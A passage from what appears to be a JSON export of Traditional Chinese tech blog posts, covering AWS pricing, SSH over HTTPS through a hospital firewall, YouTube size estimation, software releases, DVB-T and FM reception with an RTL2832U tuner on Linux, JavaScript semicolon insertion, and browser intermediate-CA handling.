$0.168/hr，都還沒有 RDS Extended Support 貴；要到 <code>r7g.large</code> 這種以記憶體導向的 $0.1071/hr 才差不多跟上一樣的價錢。\r\n\r\n另外一個方法應該就是改成自己在 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 上架設？這樣成本會因為 RDS 轉 EC2 的下降，整體大約會降到 1/4...\r\n\r\n不過應該也會有公司就是用下去，在上面跑的好好而且很賺錢的東西就不想亂動...",
    "title": "Amazon RDS 推出 RDS Extended Support"
  },
  {
    "id": "11547",
    "body": "在 <a href=\"https://www.plurk.com/\">Plurk</a> 上看到朋友貼的「<a href=\"https://repost.aws/articles/ARvGyYizvJQGCr0ymdgj3HIA/announcing-amazon-ec2-t4g-free-trial-extension\">Announcing Amazon EC2 T4g Free Trial Extension</a>」。\r\n\r\n<code>t4g.small</code> 的 free trial 延長到明年年底了：\r\n\r\n<blockquote>The Amazon Elastic Compute Cloud (Amazon EC2) T4g instance Free Trial is extended to December 31, 2024. All new and existing AWS customers can utilize the free trial to automatically deduct up to 750 hours per month with the t4g.small instances through December 31, 2024. You can start building on Graviton-based instances for no charge with the T4g free trial, though charges may apply for surplus CPU credits. Refer to Amazon EC2 FAQs for more details on the free-trial.</blockquote>\r\n\r\n這台算是還蠻好用的 ARM-based 主機，<code>t4g.small</code> 是 2 vCPU + 2GB RAM 的規格，如果是自己會 tune 的話已經可以做不少事情了，再加上 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 在前 12 個月的 <code>t3.micro</code> (2 vCPU + 1GB RAM) 免費，就已經可以玩不少東西了：\r\n\r\n<blockquote>750 hours per month of Linux, RHEL, or SLES t2.micro or t3.micro instance dependent on region</blockquote>",
    "title": "AWS 延長 t4g.small 的 free trial"
  },
  {
    "id": "11550",
    "body": "<a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> 總算支援 4096-bit 的 RSA SSL/TLS certificate 了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2023/12/amazon-cloudfront-4096-bit-rsa-tls-certificates/\">Amazon CloudFront now supports 4096-bit RSA TLS certificates</a>」。\r\n\r\n翻了一下 <a href=\"https://aws.amazon.com/certificate-manager/\">AWS ACM</a>，看起來是 2020 年以前就支援 4096-bit RSA SSL/TLS certificate 了，CloudFront 晚蠻多的...\r\n\r\n另外查了一下目前的強度，<a href=\"https://en.wikipedia.org/wiki/National_Security_Agency\">NSA</a> 給出 2048-bit RSA 對到 112-bit strength，而 3072-bit RSA 對到 128-bit strength；至於 4096-bit RSA，目前是估算大約在 140-bit strength，有點微妙的數字。\r\n\r\n看起來主要應該是給 compliance 需求使用的，有些舊的 library 未必支援 <a href=\"https://en.wikipedia.org/wiki/Elliptic-curve_cryptography\">ECC</a> 類的演算法，還是得透過拉高 RSA key size 來增加安全性。",
    "title": "CloudFront 支援 4096-bit RSA 的 SSL/TLS certificate 了"
  },
  {
    "id": "11551",
    "body": "先看到「<a href=\"https://news.ycombinator.com/item?id=38731402\">SSH over HTTPS (trofi.github.io)</a>」這篇，原文「<a href=\"https://trofi.github.io/posts/295-ssh-over-https.html\">SSH over HTTPS</a>」講怎麼利用 HTTPS 加上 <code>CONNECT</code> 指令穿過去。\r\n\r\n作者有先介紹背景，他需要在醫院待個幾天，而醫院有免費的 WiFi 可以上網，但限制很多，基本上 TCP 的部分只有 80/tcp 與 443/tcp 會通，另外他有行動網路可以用 (但應該不是吃到飽的？)，可以當作在現場直接設定 bypass 機制的工具：\r\n\r\n<blockquote>I planned to spend 1-2 days in the hospital and did not plan to use the laptop.But now I am stuck here for the past two weeks and would like to tinker on small stuff remotely. The hospital has free Wi-fi access.\r\n\r\nThe caveat is that hospital blocks most connection types. It allows you only to do HTTP (TCP port 80) and HTTPS (TCP port 443) connections for most hosts. DNS (UDP port 53) and DoT (TCP port 853) seem to work as well at least for well-known DNS providers.\r\n\r\nBut SSH (TCP port 22 or most other custom ports) is blocked completely.\r\n\r\nI wondered how hard would it be to pass SSH through HTTP or HTTPS. I had a GSM fallback so I could reconfigure remote server and try various solutions.</blockquote>\r\n\r\n作者的方法就是在 TLS/SSL connection 上面跑 SSH，以前幹過，但就如同 comment 裡面提到的，<a href=\"https://www.cisco.com/\">Cisco</a> 的 AnyConnect (主要是用 open-source client 的 <a href=\"https://en.wikipedia.org/wiki/OpenConnect\">OpenConnect</a> 以及 open-source server 的 <a href=\"https://gitlab.com/openconnect/ocserv\">ocserv</a>) 比較彈性，而且 AnyConnect 的協定會自動嘗試 UDP-based 的 <a href=\"https://en.wikipedia.org/wiki/Datagram_Transport_Layer_Security\">DTLS</a>，傳輸效率會比 TCP-based 的協定好，另外在 <a href=\"https://en.wikipedia.org/wiki/IOS\">iOS</a> 上可以直接裝 app store 裡面 Cisco 官方的 client 來用。\r\n\r\n但從作者的其他文章看起來應該也是熟門熟路了，會這樣做應該是手上有 HTTPS 的 apache server 可以設定來用。\r\n\r\n另外作者雖然沒寫出來，但想法應該是有 SSH 就可以在 command line 透過 <code>-D</code> 生出 <a href=\"https://en.wikipedia.org/wiki/SOCKS\">SOCKS</a> 服務當 proxy 讓其他程式使用，常見的應用程式大多都支援。\r\n\r\n應該就是臨時要在醫院裡面待個一兩天時的暫時性方案，如果常態會遇到的話應該是會架 ocserv 來繞...",
    "title": "穿越 Firewall 的作法"
  },
  {
    "id": "11552",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=38739563\">How big is YouTube? (ethanzuckerman.com)</a>」這篇，原文在「<a href=\"https://ethanzuckerman.com/2023/12/22/how-big-is-youtube/\">How Big is YouTube?</a>」。\r\n\r\n算是個老問題了，而且應該是統計學上比較簡單的方法。先列出作者最後的成果：「<a href=\"https://tubestats.org/\">TubeStats</a>」。\r\n\r\n作者用的方法是觀察 <a href=\"https://www.youtube.com/\">YouTube</a> 的 vid：\r\n\r\n<blockquote>Here’s how this works: YouTube URLs look like this: https://www.youtube.com/ watch?v=vXPJVwwEmiM</blockquote>\r\n\r\n可以分析出來 vid 包括了 64-bit 的資訊，這個資料型態對工程師來說，看起來就很像是 uniformly distributed：\r\n\r\n<blockquote>That bit after “watch?v=” is an 11 digit string. The first ten digits can be a-z,A-Z,0-9 and _-. The last digit is special, and can only be one of 16 values. Turns out there are 2^64 possible YouTube addresses, an enormous number: 18.4 quintillion. There are lots of YouTube videos, but not that many. Let’s guess for a moment that there are 1 billion YouTube videos – if you picked URLs at random, you’d only get a valid address roughly once every 18.4 billion tries.</blockquote>\r\n\r\n然後就是隨機去產生 vid 去掃，這個方法跟 <a href=\"https://en.wikipedia.org/wiki/Drunk_dialing\">drunk dialing</a> 的行為很像，算是 random sampling 的方式：\r\n\r\n<blockquote>We refer to this method as “drunk dialing”, as it’s basically as sophisticated as taking swigs from a bottle of bourbon and mashing digits on a telephone, hoping to find a human being to speak to. Jason found a couple of cheats that makes the method roughly 32,000 times as efficient, meaning our “phone call” connects lots more often. Kevin Zheng wrote a whole bunch of scripts to do the dialing, and over the course of several months, we collected more than 10,000 truly random YouTube videos.</blockquote>\r\n\r\n另外在 2011 年就有提出來利用 autocomplete 機制去算：\r\n\r\n<blockquote>By comparing our results to other ways of generating lists of YouTube videos, we can declare them “plausibly random” if they generate similar results. Fortunately, one method does – it was discovered by Jia Zhou et. al. in 2011, and it’s far more efficient than our naïve method. (You generate a five character string where one character is a dash – YouTube will autocomplete those URLs and spit out a matching video if one exists.) Kevin now polls YouTube using the “dash method” and uses the results to maintain our dashboard at Tubestats.</blockquote>\r\n\r\n目前他們的預估大約是 13B 左右的影片，換算大約是用掉 33.63 bits 了 (2<sup>33.6</sup>)：\r\n\r\n<blockquote>In our case, our drunk dials tried roughly 32k numbers at the same time, and we got a “hit” every 50,000 times or so. Our current estimate for the size of YouTube is 13.325 billion videos – we are now updating this number every few weeks at tubestats.org.</blockquote>\r\n\r\n而這邊提到的 32768 * 50k 會中一次的部分，這邊的大約是 30.61 bits，這樣加起來是差不多 64 bits 沒錯。\r\n\r\n不過要注意的是，他們沒有給出 interval，所以 13B 的上下可能是一倍左右的差距 (6.5B～26B 之類的)，這邊的數字當作概念比較好...",
    "title": "估算 YouTube 影片總量的方式"
  },
  {
    "id": "11554",
    "body": "現在應該是西方年底的假期期間，意外的看到 <a href=\"https://mariadb.org/\">MariaDB</a> 貼出 11.4.0 preview release 的消息 (當然也有可能是排程發表？)：「<a href=\"https://mariadb.org/mariadb-11-4-0-preview-release-now-available/\">MariaDB 11.4.0 preview release now available</a>」。\r\n\r\nMariaDB 在十月的時候宣佈停掉一些周邊的產品線，「聚焦」回資料庫本體的消息後 (參考「<a href=\"https://blog.gslin.org/archives/2023/10/16/11396/mariadb-%E5%81%9C%E6%8E%89-skysql-%E8%88%87-xpand/\">MariaDB 停掉 SkySQL 與 Xpand</a>」)，這兩個月累積出來的東西其實不算太多，以這次文章理列出來的來看，主要是以 replication 相關的功能為主。\r\n\r\n另外翻了一下維基百科上的資料，MariaDB 最新的 <a href=\"https://en.wikipedia.org/wiki/Long-term_support\">LTS</a> 是 10.11，支援到 2028 年二月。\r\n\r\n目前 MariaDB 還是個很微妙的狀態，如果就 engine 來說，重新聚焦有機會拿出跟 <a href=\"https://en.wikipedia.org/wiki/InnoDB\">InnoDB</a> 可以抗衡的技術嗎？或是在 cluster 以及 sharding 拿出比較奇特的技術？",
    "title": "MariaDB 11.4.0 preview release？"
  },
  {
    "id": "11555",
    "body": "也是有點奇特，年底的慣例長假反而釋出 <a href=\"https://www.ruby-lang.org/\">Ruby</a> 3.3.0：「<a href=\"https://www.ruby-lang.org/en/news/2023/12/25/ruby-3-3-0-released/\">Ruby 3.3.0 Released</a>」。\r\n\r\n整體看起來比較大的改變有兩組，一塊是 parser 相關的消息，包括了 <a href=\"https://en.wikipedia.org/wiki/GNU_Bison\">GNU Bison</a> 換成 <a href=\"https://github.com/ruby/lrama\">Lrama</a>，兩個都是 <a href=\"https://en.wikipedia.org/wiki/LALR_parser\">LALR parser</a>，但後者是 Ruby 寫的。\r\n\r\n另外一塊是 <a href=\"https://en.wikipedia.org/wiki/Just-in-time_compilation\">JIT</a> 相關的消息，包括了 YJIT 的持續進步，以及 RJIT 的引入。\r\n\r\n看起來有在用 Ruby 的大型站台都跳進去幫 YJIT 發展了，這邊應該是正循環，會有更多的 feedback 與實作進來改善 YJIT。\r\n\r\n而 RJIT 看起來是個實驗性質的東西，目前只會在 x86-64 上生效，不知道目標會是什麼：\r\n\r\n<blockquote>Introduced a pure-Ruby JIT compiler RJIT and replaced MJIT.</blockquote>",
    "title": "Ruby 3.3.0 的消息"
  },
  {
    "id": "11556",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=38804135\">Gentoo goes Binary (gentoo.org)</a>」這篇，原文在「<a href=\"https://www.gentoo.org/news/2023/12/29/Gentoo-binary.html\">Gentoo goes Binary!</a>」這。\r\n\r\n<a href=\"https://www.gentoo.org/\">Gentoo</a> 以 <a href=\"https://en.wikipedia.org/wiki/Portage_(software)\">portage</a> 知名，這點在維基百科條目開頭就有提出來：\r\n\r\n<blockquote>Gentoo Linux (pronounced /ˈdʒɛntuː/ JEN-too[3]) is a Linux distribution built using the Portage package management system. Unlike a binary software distribution, the source code is compiled locally according to the user's preferences and is often optimized for the specific type of computer.</blockquote>\r\n\r\n這算是 Gentoo 的特色，不過即使 Gentoo 超愛 source package，也還是支援 binary package 安裝，但以前只提供重點套件，這包括了像是 <a href=\"https://www.kernel.org/\">Linux kernel</a> 以及 <a href=\"https://gcc.gnu.org/\">gcc</a> 這種套件，總是要有這些東西才能開始編軟體。\r\n\r\n而這次公告宣佈要全面支援 binary package 算是個大轉變：\r\n\r\n<blockquote>To speed up working with slow hardware and for overall convenience, we’re now also offering binary packages for download and direct installation!</blockquote>\r\n\r\n目前 binary package 的主力會在 amd64 與 arm64 平台，然後提到這會對 mirror site 有額外的空間需求：\r\n\r\n<blockquote>For most architectures, this is limited to the core system and weekly updates - not so for amd64 and arm64 however. There we’ve got a stunning >20 GByte of packages on our mirrors, from LibreOffice to KDE Plasma and from Gnome to Docker. Gentoo stable, updated daily.</blockquote>\r\n\r\n從文末的圖也可以看到「the amount of binary package data in GByte for each architecture」得資訊：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1703895285-c085c31f.webp\" /><img src=\"https://i.gslin.com/s/1703895285-c085c31f.png\" alt=\"\" /></picture>\r\n\r\n想得到的客群大概是兩種，第一類是對於想用 Gentoo 看看的人來說會更好入手，尤其是手上是 <a href=\"https://www.raspberrypi.com/\">Raspberry Pi</a> 這些 CPU 不快的 <a href=\"https://en.wikipedia.org/wiki/Single-board_computer\">SBC</a> 會方便不少...\r\n\r\n另外一種是不太在意效能，但是對某些 package 來說有高度客製化需求的人，會希望自己編這些 package 的人，透過 portage 自己調整。",
    "title": "Gentoo 宣佈支援 binary package"
  },
  {
    "id": "11557",
    "body": "以前用的 USB 電視棒壞掉了，去網拍上找了一隻新的來用，翻了一下跟 <a href=\"https://www.linuxtv.org/wiki/\">LinuxTVWiki</a> 上的 <a href=\"https://www.linuxtv.org/wiki/index.php/Astrometa_DVB-T2\">Astrometa DVB-T2</a> 這頁的圖片一樣 (2014 版本的圖)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1703909618-7e83518d.webp\" /><img src=\"https://i.gslin.com/s/1703909618-7e83518d.png\" alt=\"\" /></picture>\r\n\r\n先講一下重點，如果你買到的 USB 電視棒跟我一樣，應該可以看到兩個 source 可以收 <a href=\"https://zh.wikipedia.org/wiki/DVB-T\">DVB-T</a>，而這兩個 source 都可以測試看看，在我家裡測試 Sony CXD2837ER 的收訊明顯好很多：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1703910870-6d0be70b.webp\" /><img src=\"https://i.gslin.com/s/1703910870-6d0be70b.png\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1703910886-28bda9e1.webp\" /><img src=\"https://i.gslin.com/s/1703910886-28bda9e1.png\" alt=\"\" /></picture>\r\n\r\n另外順便一提無關緊要的事情，本來在查資料的時候以為是 2013 的古董版本，但研究了一會兒發現 2013 版的「DVBT2」字比較大，所以不是 2013 版的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1703908528-019f386c.webp\" /><img src=\"https://i.gslin.com/s/1703908528-019f386c.png\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1703909789-92e9f4cb.webp\" /><img src=\"https://i.gslin.com/s/1703909789-92e9f4cb.png\" alt=\"\" /></picture>\r\n\r\n插入到 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 的時候可以看到幾個有趣的東西：\r\n\r\n<pre>[Sat Dec 30 11:59:49 2023] usb 1-6.3: DVB: registering adapter 0 frontend 0 (Realtek RTL2832 (DVB-T))...\r\n[Sat Dec 30 11:59:49 2023] dvbdev: dvb_create_media_entity: media entity 'Realtek RTL2832 (DVB-T)' registered.\r\n[Sat Dec 30 11:59:49 2023] usb 1-6.3: DVB: registering adapter 0 frontend 1 (Sony CXD2837ER DVB-T/T2/C demodulator)...\r\n[Sat Dec 30 11:59:49 2023] dvbdev: dvb_create_media_entity: media entity 'Sony CXD2837ER DVB-T/T2/C demodulator' registered.</pre>\r\n\r\n意外的發現有兩個支援 DVB-T 的晶片，首先是 Realtek RTL2832 有被抓到，然後被註冊到 <code>/dev/dvb/adapter0/frontend0</code> 這邊。\r\n\r\n在 <a href=\"https://www.realtek.com/\">Realtek</a> 官網上只翻到了 <a href=\"https://www.realtek.com/en/products/communications-network-ics/item/rtl2832u\">RTL2832U</a> 的資料，裡面比較有趣的是支援了 <a href=\"https://zh.wikipedia.org/wiki/ISDB-T\">ISDB-T</a>，不過如果在日本的話還需要 <a href=\"https://en.wikipedia.org/wiki/B-CAS\">B-CAS</a> 才能解：\r\n\r\n<blockquote>Includes ISDB-T(SBTVD-T) 1-Seg</blockquote>\r\n\r\n另外 RTL2832U 也支援 FM：\r\n\r\n<blockquote>Includes Radio Support (FM/DAB/DAB+)</blockquote>\r\n\r\n而第二個的 Sony CXD2837ER 被註冊到 <code>/dev/dvb/adapter0/frontend1</code> 這邊，另外在 LinuxTVWiki 可以看到 CXD2837ER 只被用在了 2018 版本，而且在外觀的部分提到了「or same as 2014 or 2017 revision」，所以看起來手上的版本應該是 2018 版的，但是殼長得跟舊的一樣。\r\n\r\n翻了 Sony CXD2837ER 的 datasheet，可以看到支援 DVB-{T2,T,C}：\r\n\r\n<blockquote>The Sony CXD2837ER is a combined DVB-T2 (incl.T2-Lite), DVB-T and DVB-C demodulator</blockquote>\r\n\r\n看起來是為了 DVB-T2 而放進來的？不過台灣目前還是用 DVB-T 就是了。\r\n\r\nAnyway，目前用起來唯一的缺點是看電視的時候同時跑 <code>dvb-fe-tool --femon -f 1</code> 會造成畫面破格，這點要再看看怎麼解決，不過不是大問題...",
    "title": "用 Astrometa DVB-T2 收數位無線電視台 (DVB-T)"
  },
  {
    "id": "11559",
    "body": "算是接續「<a href=\"https://blog.gslin.org/archives/2023/12/30/11557/%e7%94%a8-astrometa-dvb-t2-%e6%94%b6%e6%95%b8%e4%bd%8d%e7%84%a1%e7%b7%9a%e9%9b%bb%e8%a6%96%e5%8f%b0-dvb-t/\">用 Astrometa DVB-T2 收數位無線電視台 (DVB-T)</a>」這篇的內容，上篇有提到在台灣可以收 <a href=\"https://en.wikipedia.org/wiki/DVB-T\">DVB-T</a> 的數位電視內容，另外也有提到裡面的 <a href=\"https://www.realtek.com/en/products/communications-network-ics/item/rtl2832u\">RTL2832U</a> 可以收 FM 廣播。\r\n\r\nRTL2832U 在 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a> 下面的 FM 介面不是 <code>/dev/radio0</code> 這種 <a href=\"https://www.kernel.org/doc/html/v4.20/media/uapi/v4l/dev-radio.html\">Radio Interface</a>，而是透過 <a href=\"https://en.wikipedia.org/wiki/Software-defined_radio\">SDR</a> 的方式，會產生出 <code>/dev/swradio0</code> 操作。\r\n\r\n所以可以用 <a href=\"https://manpages.ubuntu.com/manpages/jammy/man1/rtl_fm.1.html\">rtl_fm</a> 這個工具從 SDR source 轉成 <a href=\"https://en.wikipedia.org/wiki/PulseAudio\">PulseAudio</a> 吃的格式，像是要聽 107.7MHz 的<a href=\"https://zh.wikipedia.org/wiki/%E5%8F%B0%E5%8C%97%E4%B9%8B%E9%9F%B3\">台北之音</a>，可以用這樣的指令聽：\r\n\r\n<pre>sudo rtl_fm -f 107700000 -s 441000 -r 44100 | aplay -r 44100 -f S16_LE</pre>\r\n\r\n但這樣做會是 mono (單聲道)，這點可以從「<a href=\"https://zansprojects.blogspot.com/2019/05/stereo-fm-receiving-with-rtl-sdr-and.html\">Stereo FM receiving with RTL-SDR and Gnuradio - part 1</a>」這邊的這張圖了解發生了什麼事情：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1703920151-f7adab46.webp\" /><img src=\"https://i.gslin.com/s/1703920151-f7adab46.png\" alt=\"\" /></picture>\r\n\r\n最低的地方會是左右聲道混在一起的 L+R 的單聲道訊號，這個方式可以讓很早期不支援兩聲道 (立體聲) 的 FM 收音機還是可以正常收聽，也剛好是 rtl_fm 時用到的地方。\r\n\r\n而接下來是 19kHz 表示支援立體聲的訊號，然後從 23～53kHZ 的地方是 L-R 的訊號，最後面是 <a href=\"https://en.wikipedia.org/wiki/Radio_Data_System\">RDS</a> 資料。\r\n\r\n所以要把這包東西轉成 L 與 R 不是單純抽兩段 source 出來就解決了，而是需要在頻域上運算。\r\n\r\n接著就是找看看有沒有已經做完的工具可以從 SDR source 運算然後播放，就找到 <a href=\"https://github.com/vsergeev/luaradio\">LuaRadio</a> 這個專案，依照他的要求安裝 dependency，然後就可以直接跑了：\r\n\r\n<pre>./luaradio examples/rtlsdr_wbfm_stereo.lua 107700000</pre>\r\n\r\n在「<a href=\"https://luaradio.io/examples/rtlsdr-wbfm-stereo.html\">rtlsdr_wbfm_stereo.lua</a>」這頁的說明可以看到整個 flow 拉了很多處理。\r\n\r\n不過在我的桌機上面，他會跳出三個 <a href=\"https://en.wikipedia.org/wiki/Gnuplot\">gnuplot</a> 的視窗一直搶 window focus，要終止的話得按住 Ctrl-C 不放，然後點 terminal 想辦法讓 terminal 收到 Ctrl-C 才能停掉，看起來應該是 bug...\r\n\r\n從 code 裡面可以看到他會偵測是否有 <code>DISPLAY</code> 這個環境變數來決定要怎麼做，所以本來以為改掉 <code>DISPLAY</code> 就可以了：\r\n\r\n<pre>DISPLAY= ./luaradio examples/rtlsdr_wbfm_stereo.lua 107700000</pre>\r\n\r\n不過看起來會卡住，還是得直接把相關的 code 都註解掉才行。\r\n\r\nanyway，從官方給的圖可以看到整個收到的頻譜，以及 L+R 與 L-R 的樣子，也可以看到 19kHz 那邊有根訊號表示這是兩聲道：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1703920660-116b4b1b.webp\" /><img src=\"https://i.gslin.com/s/1703920660-116b4b1b.png\" alt=\"\" /></picture>\r\n\r\n這樣至少是有軟體可以聽立體聲了...",
    "title": "用 Astrometa DVB-T2 聽 FM 廣播"
  },
  {
    "id": "11560",
    "body": "目前 community 的主流跟我理出來的期望不一樣... 所以記錄一下。\r\n\r\n先提一下背景，在 <a href=\"https://en.wikipedia.org/wiki/JavaScript\">JavaScript</a> 程式語言裡面，在大多數的情境下是可以省略掉分號 (<code>;</code>) 的，也就是說這兩種寫法都是合法的 JavaScript 語法：\r\n\r\n<pre>console.log('Hello, world.')</pre>\r\n\r\n<pre>console.log('Hello, world.');</pre>\r\n\r\n這是因為在 <a href=\"https://ecma-international.org/publications-and-standards/standards/ecma-262/\">ECMA-262</a> 裡面有 ASI (Automatic Semicolon Insertion) 的設計：「<a href=\"https://262.ecma-international.org/10.0/#sec-automatic-semicolon-insertion\">Automatic Semicolon Insertion</a>」。\r\n\r\nASI 設計本身是好的，可以讓開發者少處理 <code>;</code>，但偏偏 EMCA-262 又允許千變萬化的換行，於是就造成了各種奇怪的現象。\r\n\r\n因此早期在 community 上都是推薦無條件加上分號，這可以避免各種奇怪的 bug 與 error，像是「<a href=\"https://stackoverflow.com/questions/444080/do-you-recommend-using-semicolons-after-every-statement-in-javascript\">Do you recommend using semicolons after every statement in JavaScript?</a>」以及「<a href=\"https://stackoverflow.com/questions/537632/should-i-use-semicolons-in-javascript\">Should I use semicolons in JavaScript?</a>」這些問答。\r\n\r\n大家會推薦加上分號主要的原因是因為，不加上分號遇到的 error 與 bug 不是那種你知道很雷，所以會主動查詢 &amp; 避開的問題：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1704008512-61e414a2.webp\" /><img src=\"https://i.gslin.com/s/1704008512-61e414a2.png\" alt=\"\" /></picture>\r\n\r\n而是各種平常寫就會遇到的情況，最容易中獎的是第二組敘述是 <code>(</code>、<code>[</code> 開頭的，像是 ECMA-262 文件裡面提到的 case 就算常見了：\r\n\r\n<pre>a = b + c\r\n(d + e).print()\r\n\r\n// 等價於：\r\na = b + c(d + e).print();</pre>\r\n\r\n而且不因為註解受到影響：\r\n\r\n<pre>// blahblah\r\na = b + c\r\n\r\n// blahblah\r\n(d + e).print()\r\n\r\n// 還是等價於：\r\na = b + c(d + e).print();</pre>\r\n\r\n另外一個常見的情況是我們會利用 anonymous function 包出一個 block，避免變數污染到外面：\r\n\r\n<pre>// I want to do blahblahblah...\r\n(() =&gt; {\r\n  const a = '';\r\n  // ...\r\n})()\r\n\r\n// I want to do another blahblahblah...\r\n(() =&gt; {\r\n  const a = '';\r\n  // ...\r\n})()</pre>\r\n\r\n大多數的情況應該會 error，除非第一個 anonymous function 傳回一個 callable，而這種情況跑出來的結果就更慘了...\r\n\r\n另外這種 case 也是常見的情況：\r\n\r\n<pre>// ...\r\n[1, 2, 3].forEach(...)\r\n\r\n// ...\r\n[4, 5, 6].forEach(...)\r\n\r\n// 等價於：\r\n[1, 2, 3].forEach(...)[4, 5, 6].forEach(...)</pre>\r\n\r\n這邊省略分號最大的問題是你無法知道「自己這行需不需要加上分號」，因為註解可能很長有個 30 行，所以依照這些現況，比較好的方法應該是全部加上分號，保持一致性。\r\n\r\n但這幾年所有的 frontend framework 都是推動拿掉分號，這可以從各家的文件看到，就搞不懂 community 是怎麼推導出來的... 在全部都拿掉分號的情況下，遇到上面的情況就得寫成不一致的 style：\r\n\r\n<pre>// ...\r\n[1, 2, 3].forEach(...);\r\n\r\n// ...\r\n[4, 5, 6].forEach(...)</pre>\r\n\r\n查了目前可行的 workaround，大多都是透過 <a href=\"https://eslint.org/\">ESLint</a> 類的工具來擋可能會出現 bug 的地方，也只能先這樣做了...",
    "title": "JavaScript 的分號，以及 ASI (Automatic Semicolon Insertion)"
  },
  {
    "id": "11562",
    "body": "在 <a href=\"https://en.wikipedia.org/wiki/Fediverse\">Fediverse</a> 上看到「<a href=\"https://benjojo.co.uk/u/benjojo/h/bTCbN86pJz6hXWNJ13\">The recording of my \"Browsers biggest TLS Mistake\" lightning talk at #37C3</a>」這個，這是出自 <a href=\"https://events.ccc.de/congress/2023/infos/index.html\">37C3</a> 的 lightning talk，影片不長，只有五分鐘，可以在「<a href=\"https://media.ccc.de/v/37c3-lightningtalks-58049-browsers-biggest-tls-mistake#t=0\">Browsers biggest TLS mistake</a>」這邊看到。\r\n\r\n正常的 HTTPS server 會送出 Intermediate CA certificate 與自己的 TLS certificate：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1704012650-bb305d48.webp\" /><img src=\"https://i.gslin.com/s/1704012650-bb305d48.png\" alt=\"\" /></picture>\r\n\r\n當伺服器端沒有設定好，通常是只送出自己的 TLS certificate：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1704012725-2e4122ee.webp\" /><img src=\"https://i.gslin.com/s/1704012725-2e4122ee.png\" alt=\"\" /></picture>\r\n\r\n這種情況在 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 裡有處理，軟體本身會預載所有的 Intermediate CA 避免這種問題 (當然會需要跟著軟體更新)，這點在三年前有提到過：「<a href=\"https://blog.gslin.org/archives/2020/11/14/9802/firefox-%E8%A9%A6%E8%91%97%E9%80%8F%E9%81%8E%E9%A0%90%E8%BC%89-intermediate-ca-%E9%99%8D%E4%BD%8E%E9%80%A3%E7%B7%9A%E9%8C%AF%E8%AA%A4%E7%99%BC%E7%94%9F%E7%9A%84%E6%A9%9F%E7%8E%87%EF%BC%9F/\">Firefox 試著透過預載 Intermediate CA 降低連線錯誤發生的機率？</a>」，也就是這張投影片提到的情況：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1704012893-03eda89e.webp\" /><img src=\"https://i.gslin.com/s/1704012893-03eda89e.png\" alt=\"\" /></picture>\r\n\r\n而 <a href=\"https://www.google.com/chrome/\">Chrome</a> 則是去看目前的 cache 資料，找看看是不是在其他地方有看到適合的 Intermediate CA 可以接起來：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1704012928-5b4e7aee.webp\" /><img src=\"https://i.gslin.com/s/1704012928-5b4e7aee.png\" alt=\"\" /></picture>\r\n\r\n這好像可以解釋為什麼之前遇到類似的問題的時候，在 Chrome 上面會需要進 <code>chrome://</code> 裡面清東西才能重製...",
    "title": "Firefox 與 Chrome 處理 Intermediate CA 的不同方式"
  },
  {
    "id": "11564",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=38865518\">Power over fiber (chaos.social)</a>」這篇，是個透過雷射光傳遞能量再轉回電能的方式。\r\n\r\n隨意先拉了其中一個 sku 來看，「3 VDC application; ST Port」的 <a href=\"https://www.broadcom.com/products/fiber-optic-modules-components/industrial/optical-power-components/optical-power-converters/afbr-poc404l\">AFBR-POC404L</a> 單顆要 US$561.79：「<a href=\"https://www.digikey.com/en/products/detail/broadcom-limited/afbr-poc404l/7915677\">AFBR-POC404L</a>」，這顆輸入 1.8W 輸出 0.6W。\r\n\r\n另外在「<a href=\"https://www.broadcom.com/products/fiber-optic-modules-components/industrial/optical-power-components/optical-power-converters\">Optical Power Converters</a>」這邊可以看到 <a href=\"https://www.broadcom.com/products/fiber-optic-modules-components/industrial/optical-power-components/optical-power-converters/afbr-poc306a1\">AFBR-POC306A1</a> 這顆，輸出可以到 3W，查到的單價則是 US$701.77 (<a href=\"https://www.digikey.com/en/products/detail/broadcom-limited/AFBR-POC306A1/16546326\">AFBR-POC306A1</a>)，這個功率已經連 <a href=\"https://en.wikipedia.org/wiki/Raspberry_Pi\">Raspberry Pi</a> 都可以上了...\r\n\r\n不過從官方列出的應用來看，可以看到著重在電磁隔離的性質：\r\n\r\n<blockquote><ul>\r\n\t<li>Fully galvanically isolated power supply without capacitive coupling, suitable for gate drivers</li>\r\n\t<li>Isolation transformer for MRI/RF imaging without the need for filters</li>\r\n\t<li>Optically isolated probes for power electronics with a wider dynamic range than any conventional probe</li>\r\n\t<li>Power source for tethered drones, enabling a higher payload and eliminating the need for battery charging</li>\r\n\t<li>Sensors where power must be immune to EMI, high voltage, and magnetic fields</li>\r\n</ul></blockquote>\r\n\r\n跟我一開始想的方向不太一樣...",
    "title": "Power over fiber"
  },
  {
    "id": "11565",
